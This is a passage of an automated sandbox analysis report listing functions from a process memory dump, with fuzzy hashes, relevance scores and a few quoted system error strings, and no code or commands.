Opcode Fuzzy Hash: c28f43ca53d5d97adc9019cd4cea553ef45a5298d5621738975ba3a690791f28
Instruction Fuzzy Hash: 0711B2357087028BEF294F1D849473E7ED9BB85624F24492BE561CF391DB74D8418393

Uniqueness

Uniqueness Score: -1.00%

Function 01628DF1, Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Critical error detected %lx, xrefs: 01628E21

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: e739cd18c8e37b714c6ce5adb7b32e9f7bdb1ccc4392455495586ca07e65be87
Instruction ID: a909fec780e6f27fae48ee8be06ce00da7668bd41208f3d3e598a5b5e0324c5e
Opcode Fuzzy Hash: e739cd18c8e37b714c6ce5adb7b32e9f7bdb1ccc4392455495586ca07e65be87
Instruction Fuzzy Hash: 8C1172B5D04749EEDB29CFE889057ACBBF4BB44710F20422EE5A9AB382C3340602CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0160FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0160FF60

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 5e9aec4d252aaf89f802087476e5c73e6f35bb8a3633b2d645111371a053129a
Instruction ID: af7d5a43d1436159856ac1aff433516d86e5f64a3706d341729f19087b0e1dcc
Opcode Fuzzy Hash: 5e9aec4d252aaf89f802087476e5c73e6f35bb8a3633b2d645111371a053129a
Instruction Fuzzy Hash: 4E112271910245EFDB2ADF98CD49F9DBBB1FF48B04F148098F509AB2A1C7399940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01645BA5, Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770586360e28adf0c8e34d28eec74a6a2399fca192dff272d4431180a7d78254
Instruction ID: 33c2a6d668836c6ec53b2d82259192bcb04737474bf710c632b891a431e10d08
Opcode Fuzzy Hash: 770586360e28adf0c8e34d28eec74a6a2399fca192dff272d4431180a7d78254
Instruction Fuzzy Hash: CE42387590026ACFDB25CF68CD80BA9BBB1FF49304F1481AAD94DAB342E7749985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01594120, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c2421a260d6550ef627f015bdd64574e5025a8d87117c1c13fb22fd07d5b700
Instruction ID: 6ac9dbcd1a33fb26915b00e7f86ff2b0fe044a275b92d6c599f1fbc6dad85981
Opcode Fuzzy Hash: 2c2421a260d6550ef627f015bdd64574e5025a8d87117c1c13fb22fd07d5b700
Instruction Fuzzy Hash: 9BF16A706082128FCB24CF69C581A7AB7E1FF88614F14496EF98ACF250E734DC96CB52

Uniqueness

Uniqueness Score: -1.00%

Function 015A20A0, Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0c57e2ab35b24160b91fb10d02a1b75974ee87ff0f4b83518e7336923b67c78
Instruction ID: 8b55e2b79fdbee7472c1c7eab1580942eb86f0773da432a1a509fc99d2273978
Opcode Fuzzy Hash: b0c57e2ab35b24160b91fb10d02a1b75974ee87ff0f4b83518e7336923b67c78
Instruction Fuzzy Hash: D1F1F135A483029FEB2ACB2CC84576E7BE5BF85318F44891DE995CF291E774D841CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0158D5E0, Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1da1588e3f55fda6d45ae8bb28799a84c4b247f09fc0d9abe1f5340958234b2
Instruction ID: fc9878fc3b7845c761d372c5ab5fdabfee76816162e88031e21aa8ea8293606f
Opcode Fuzzy Hash: e1da1588e3f55fda6d45ae8bb28799a84c4b247f09fc0d9abe1f5340958234b2
Instruction Fuzzy Hash: 48E19F30A0135ACFEB35EB69C880B6DB7F6BF86304F054199D909AF291DB34A941CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0158849B, Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 318fc854ceb0ea2216f5fd38e54d60b121561728bbca1027dc0e40a6bba3cd46
Instruction ID: 816bc869fb1ea28da695ecbd3f714e1133e46bfba5bc28fe046b82e8624b1f44
Opcode Fuzzy Hash: 318fc854ceb0ea2216f5fd38e54d60b121561728bbca1027dc0e40a6bba3cd46
Instruction Fuzzy Hash: 63B15C70E0020ADFDB25EFA9C980AADBBB5FF98308F50452AE505AF355D770A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 015A513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032adfe4b880c11ca0ab8b8ea551741e45d3018ef3c921349e563978830d306a
Instruction ID: 070d2a3051e574feb9eb6cb0af7d12cdbc3d4843f3d00fd18d39cbb447ba6a5d
Opcode Fuzzy Hash: 032adfe4b880c11ca0ab8b8ea551741e45d3018ef3c921349e563978830d306a
Instruction Fuzzy Hash: C0C123759083818FD358CF28C580A6AFBF1BF88344F584A6EF9998B352D771E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 015A03E2, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39090cfd9154ad45ad77bfee98bc679908162054cb2811796341cf67bde5d968
Instruction ID: 6dd44c3afa2a14a0cbb68e0b06055efa1fd9e00aa56252158677a2334233763a
Opcode Fuzzy Hash: 39090cfd9154ad45ad77bfee98bc679908162054cb2811796341cf67bde5d968
Instruction Fuzzy Hash: 8091F031E40616AFEB269B6CCC48BAE7BE4BB45724F050265FA50EF2E1D7749D00C792

Uniqueness

Uniqueness Score: -1.00%

Function 0157C600, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2520dde8e3a927a326a228d45aeda8d26f05564151ebdca40f2f622e6dce493a
Instruction ID: aea0cdbe70c003ee51a3f78d7ab266bdb3ea0e8ecad9306830ae4f481ef70bbe
Opcode Fuzzy Hash: 2520dde8e3a927a326a228d45aeda8d26f05564151ebdca40f2f622e6dce493a
Instruction Fuzzy Hash: E4818275A042429BDB2ACE58C885A6E77E9FF88254F14485AEE45DF241E330ED41CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 0160B8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dea2f9bdaccd990ed712d845aa44cd9c4717789387b4b4f70c635fef256d209
Instruction ID: 6192d04e578cd83686076af124d03bac6464e4f3ae60ea9aac47424abe822bb4
Opcode Fuzzy Hash: 1dea2f9bdaccd990ed712d845aa44cd9c4717789387b4b4f70c635fef256d209
Instruction Fuzzy Hash: 2F71033A240702AFE73A8F18CC41F57BBA5FF85724F158528EA558B2E0DB71E941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 015F6DC9, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: c2aab1ab95ad63ecf592c13b2d21d928bcfe8cc7436c25c187ed515411c6d9a4
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: A171617190061AEFDB10DFA5C984EDEBBB9FF88714F104569E605EB250D734EA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 015752A5, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558638d0b2b9fa6ab6cf28bb51da5867e3483ea7b5cc8494afb4f43b0fd13aa2
Instruction ID: 17be5a81b4b67445237bd879325f82268926f366c5e8313128f7afa32dad2ede
Opcode Fuzzy Hash: 558638d0b2b9fa6ab6cf28bb51da5867e3483ea7b5cc8494afb4f43b0fd13aa2
Instruction Fuzzy Hash: CE51A971155343ABD721EF28C846B2BBBE8FF94714F14092EF5958B691E770E840CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 015A2AE4, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f041d87940fb1afebe019edf5449aee36a97cf1fdd4e1b275b349f0d8705791
Instruction ID: d289907f6a7729502acc5aaf71677679613ac4c33bd1762bf9b296f606832ecf
Opcode Fuzzy Hash: 7f041d87940fb1afebe019edf5449aee36a97cf1fdd4e1b275b349f0d8705791
Instruction Fuzzy Hash: E951B276A00119CFCB18CF1CC8919BDB7F5FB88700B56845AE8469F365D734EA51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0163AE44, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 269dde21310da59f0d3a5ff7681775573d486e43464c0445028f42a21f43cd1c
Instruction ID: 92fca03b5cb2853e6d4626e0129811f281316ede161e861467a9f0a85f9a603c
Opcode Fuzzy Hash: 269dde21310da59f0d3a5ff7681775573d486e43464c0445028f42a21f43cd1c
Instruction Fuzzy Hash: 6941BFB17042119BE726DBADCC94B3BBB9AAFD4620F04421DF996C73D4DB34D801E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 0159DBE9, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f51e973d6b79119c3062ee940cba6ebd844f204dddc0be7d5bd9673eafbf88d5
Instruction ID: 0aaeb760cc8d62efdfc2b5491dd73db56fc7bdb9f3421d3187c1ecc408d97340
Opcode Fuzzy Hash: f51e973d6b79119c3062ee940cba6ebd844f204dddc0be7d5bd9673eafbf88d5
Instruction Fuzzy Hash: 0651AC71E00216DFCF14CFA8C890AAEBBF5BF88350F24855AD955AB344DB70AD44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0158EF40, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 51380638caf5c7acc6d9da83a627ebdb6a52f28c59840eeef5ce60189a329a0a
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: EA510230A04249DFEB21DB6CC0C17AEBBF1FF49314F1881A9D556AF282C375A98AC751

Uniqueness

Uniqueness Score: -1.00%

Function 0164740D, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 0a948fb2d40536a1b01ebd7890ce5f5cd2faebdaa9b3f7efb4679a95309d4ca8
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 14518F71600646EFDB16CF58D980A96BBB5FF45304F14C0AAE908DF212E771E946CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 015A2990, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15f728ca8b663b61f12ff949b909bb63d1e395f5bfef83af0d1dc13f57a7761
Instruction ID: fe81130f546c31ca7ac19b12aa03590ed37f1afed4bf422b88d14619e35bf892
Opcode Fuzzy Hash: e15f728ca8b663b61f12ff949b909bb63d1e395f5bfef83af0d1dc13f57a7761
Instruction Fuzzy Hash: BE51893194020AEFDF25DF99C891ADEBBB5BF48710F448159E905AF220D3B19D92CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 015A4BAD, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc1695999e96c41b26fc1dd23d7274ff20baf4194a1b2f2b55b064772df2d089
Instruction ID: 1b0a45056b7679b54152e38b59e4e4aa8408dd3a7a3228e169c58271d09df491
Opcode Fuzzy Hash: fc1695999e96c41b26fc1dd23d7274ff20baf4194a1b2f2b55b064772df2d089
Instruction Fuzzy Hash: FA41A031E4022A9BDB21DFA8C944BEE77F4BF55740F4504A5E908AF241EA749E81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 015A4D3B, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95019e915750d4614853dadf22f8ff9f24185ff5fc1d8f91cc8bf705ced2e3e
Instruction ID: 2a426c83a91c801bc6fcbbed0f4f87b8c2d983ea36a4f0321b48a947b66e5217
Opcode Fuzzy Hash: b95019e915750d4614853dadf22f8ff9f24185ff5fc1d8f91cc8bf705ced2e3e
Instruction Fuzzy Hash: 88419371A803199FEB319F58CC80BAEB7E9FB54610F44409AEA459F281D7B0ED54CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01588A0A, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc7369895c2510c1348cccdb4f0a98af67a8f86cf43e3e667838e9f98e98caf
Instruction ID: 466d533a98d194c404363f21805a98923e4cc47796648265ebb4d300c4077178
Opcode Fuzzy Hash: 9fc7369895c2510c1348cccdb4f0a98af67a8f86cf43e3e667838e9f98e98caf
Instruction Fuzzy Hash: 484184B0A4022D9BDB24EF59CC88AADB7F4FB94310F5045E9D919AB252D7709E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0163AA16, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: 823c84247f6c1102b2aa58862b9cc17dd4b72b63d5b370d2830368827b1dea64
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: 1831F332B002056BEB19CBA9CD45BAFFBBBEFC4210F094469E986E7351DB748D01D650

Uniqueness

Uniqueness Score: -1.00%

Function 0163FDE2, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 437c2a5962dddd8af644ecb52c5010f4864bc77ffbde03fb2ec471bdb6a97af9
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 7D312632B006417FD7228B6CCC44F6ABBEAEBC5A50F18409DE9468B342DB74DC41C762

Uniqueness

Uniqueness Score: -1.00%

Function 0163EA55, Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: fc347a948dde880e9950a3893fa9ec9580d4cc6cd00fcf5425b134d150cd1371
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: C931A372604706ABD71ADF28CC80A6BB7AAFFC4210F04492DF95787745DB31E805CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 015F69A6, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bb02ab65190daf7a8781f90358617a9df64e0c894c59a15b0088d877ac7920
Instruction ID: 41402564064d99e6a83f300e26f0a703668fb9a139d684e3989beb5251e6cdb9
Opcode Fuzzy Hash: b3bb02ab65190daf7a8781f90358617a9df64e0c894c59a15b0088d877ac7920
Instruction Fuzzy Hash: 12414DB1D002099FDB24DFA9D940BFEBBF8FF48714F14812AEA54AB250DB749905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01575210, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7552af29257fff1e934ec15ac609f0c8e314a489cd988fd29fe30b39e963f9e8
Instruction ID: eb678924440bb91c14d0ee4b60201fb025f40b4649240aa5d997ac29b92fdf93
Opcode Fuzzy Hash: 7552af29257fff1e934ec15ac609f0c8e314a489cd988fd29fe30b39e963f9e8
Instruction Fuzzy Hash: ED31B231661612EBC732AB2CDC86B6E77A5FF91760F114A1AF9165F5E0EB60E800C790

Uniqueness

Uniqueness Score: -1.00%

Function 015B3D43, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc65bebf74028bf4f220ce3468ba6b462c77283d21f3ff6373df9227b50418f
Instruction ID: e47e727c426e15b3135037ee9cbeafd4673379e40eb7f5b53c0fa3326407a672
Opcode Fuzzy Hash: 7bc65bebf74028bf4f220ce3468ba6b462c77283d21f3ff6373df9227b50418f
Instruction Fuzzy Hash: 0E31BE31A00615DFD7698F2DC882AAABBF5FF85740B05846AE949EF350E730D840C790

Uniqueness

Uniqueness Score: -1.00%

Function 015AA61C, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3a920dcd06deec7f0f9868d4e840e659fbd552abd7a18412847b19c950a8b5
Instruction ID: 4b737cc80d0688c0f55f0081e02622510092993509da4c658b1f2f73796805f4
Opcode Fuzzy Hash: fb3a920dcd06deec7f0f9868d4e840e659fbd552abd7a18412847b19c950a8b5
Instruction Fuzzy Hash: A74155B5E40206DFCB19CF98C880B9EBBF1BB89704F1880A9E905AF345D774A901CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0159C182, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 4e39a4d78fa9ff0d8377e29b30c5ed99f72902358ec0661b83a497702029af55
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 1C312872A01587BEEF05EBB4C880BE9F799BF96200F04415AC51C5F201DB356945D7E2

Uniqueness

Uniqueness Score: -1.00%

Function 015F7016, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c72c4eb0521491cca6d5b965e8a1cee7b6d513b957854d4f05f28e74747092d
Instruction ID: 00242d730ab403a855a6068e8e224a5fdd6d42df52b8988d6c0931fcc3c5efea
Opcode Fuzzy Hash: 4c72c4eb0521491cca6d5b965e8a1cee7b6d513b957854d4f05f28e74747092d
Instruction Fuzzy Hash: 663197726047529BD310DF68CD40E6AB7E9FFC8700F044A2DFA559B690E770D904CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 01623D40, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ab3b31258f8818ac1a56763f50775aaad59536d76027e50ad97a8c8eb74be5
Instruction ID: a95335f4c702bd7fe7ccb2527b98051f92deb52a4efc8145808e38bcca1a6796
Opcode Fuzzy Hash: 21ab3b31258f8818ac1a56763f50775aaad59536d76027e50ad97a8c8eb74be5
Instruction Fuzzy Hash: D1317971609712DFCB10DF29C98082ABBE5FF89600F04496EE899AB351D734DD09CF92

Uniqueness

Uniqueness Score: -1.00%

Function 015AA70E, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68404529e43bab894c4bb204854e2cad57f00c70dd67805e5fece94aad4c9bc9
Instruction ID: 72e1d44fc94c6d0e5bb7a201f40db9e05ce94f6ffd50108dc545351e4b9daff9
Opcode Fuzzy Hash: 68404529e43bab894c4bb204854e2cad57f00c70dd67805e5fece94aad4c9bc9
Instruction Fuzzy Hash: 9C31E2B1650202DFDB21CF18DC80F6EBBF9FB94718F54095AE216CB254D770A921CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015A61A0, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e172acc01e0761719a53d750cb2cee64f40351f8732638666628789615364155
Instruction ID: e74923c607099f848541f35ceb9def25da94af63d28e2772b480d269589250b5
Opcode Fuzzy Hash: e172acc01e0761719a53d750cb2cee64f40351f8732638666628789615364155
Instruction Fuzzy Hash: 4F315C71A057028FE364CF1DC944B2ABBE5FB88B04F49496EE9959B351E770E804CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0157AA16, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08f6d7550b5be1656563f3e1fb15e87989b5996f0cff01c62c37cf29346fb7e2
Instruction ID: 8da231ab1d9cebc5336ba7028ca3af7dff624c93b52904dac77a9da66ab06ac8
Opcode Fuzzy Hash: 08f6d7550b5be1656563f3e1fb15e87989b5996f0cff01c62c37cf29346fb7e2
Instruction Fuzzy Hash: 9F31B171A0021AABCF11AF69CD82ABFB7B8FF44700B45446AF901EF150E7749951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015B4A2C, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c9abd23c67de9627b2a4ddb1abac1217f14c0e9ad658dd3d267093430252bf8
Instruction ID: 6bcdabc23b81331ff254f5de3c0d051817728fbf2f67d251af413b8d22c590e2
Opcode Fuzzy Hash: 8c9abd23c67de9627b2a4ddb1abac1217f14c0e9ad658dd3d267093430252bf8
Instruction Fuzzy Hash: 9431F332241351ABDB31AF28CD84B6EBBE9FFC4610F00441AE5574F652CBB0D800CB86

Uniqueness

Uniqueness Score: -1.00%

Function 015B8EC7, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d777e743407b633c718af29f6307fefa416cd9386e5e8a77ceff179a60110b
Instruction ID: cba093e22e4f6ed311174f4b3a5837b57186eddcaad9a0987234b031ae192abb
Opcode Fuzzy Hash: 61d777e743407b633c718af29f6307fefa416cd9386e5e8a77ceff179a60110b
Instruction Fuzzy Hash: BE41AFB1D003199EDB20CFAAD981AEEFBF8FB48710F5041AEE519A7240E7705A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 015AE730, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8987bec02d6a433a9b547e3033cc47b4f3c81fc3a95889aa11d6f091021e01e
Instruction ID: 472f41213473e9c34b052bf47d5077c202ddab1d7a8939fc69fef09ba56a0229
Opcode Fuzzy Hash: e8987bec02d6a433a9b547e3033cc47b4f3c81fc3a95889aa11d6f091021e01e
Instruction Fuzzy Hash: FF318D75A5424AEFD704CF58C841B9ABBE8FB09314F148666FA04CB341E631EC80CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015ABC2C, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8fce79e9648df3cea1b367153d90828420979598e9dfa3140bc3fcaf7f3d360
Instruction ID: 64ba834818d1384460f097ec6b67d2a69dd1052e56c795c74a5041dc86f385af
Opcode Fuzzy Hash: c8fce79e9648df3cea1b367153d90828420979598e9dfa3140bc3fcaf7f3d360
Instruction Fuzzy Hash: 17310E32A406169BCB21DF58E880BAA77B4FF58311F840479ED05DF206EB34D915CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 01579100, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390c3e9ea90cb13a8f5061a4308214cfe45f57349a2997d563f6e9c7b74ee5c4
Instruction ID: ba6562643ee4798fd6049934954912cce6c867ef2b3b42efb085692961913ba9
Opcode Fuzzy Hash: 390c3e9ea90cb13a8f5061a4308214cfe45f57349a2997d563f6e9c7b74ee5c4
Instruction Fuzzy Hash: 8B31D6B1A01746DFDB21DF6CE849B9CBBF5BB98328F15815DC5056F251C330A990CB62

Uniqueness

Uniqueness Score: -1.00%

Function 015A1DB5, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 1dace6e768a7d721e5f6953fad2fcaf71df10097dbfa32b92983d9a4b8029408
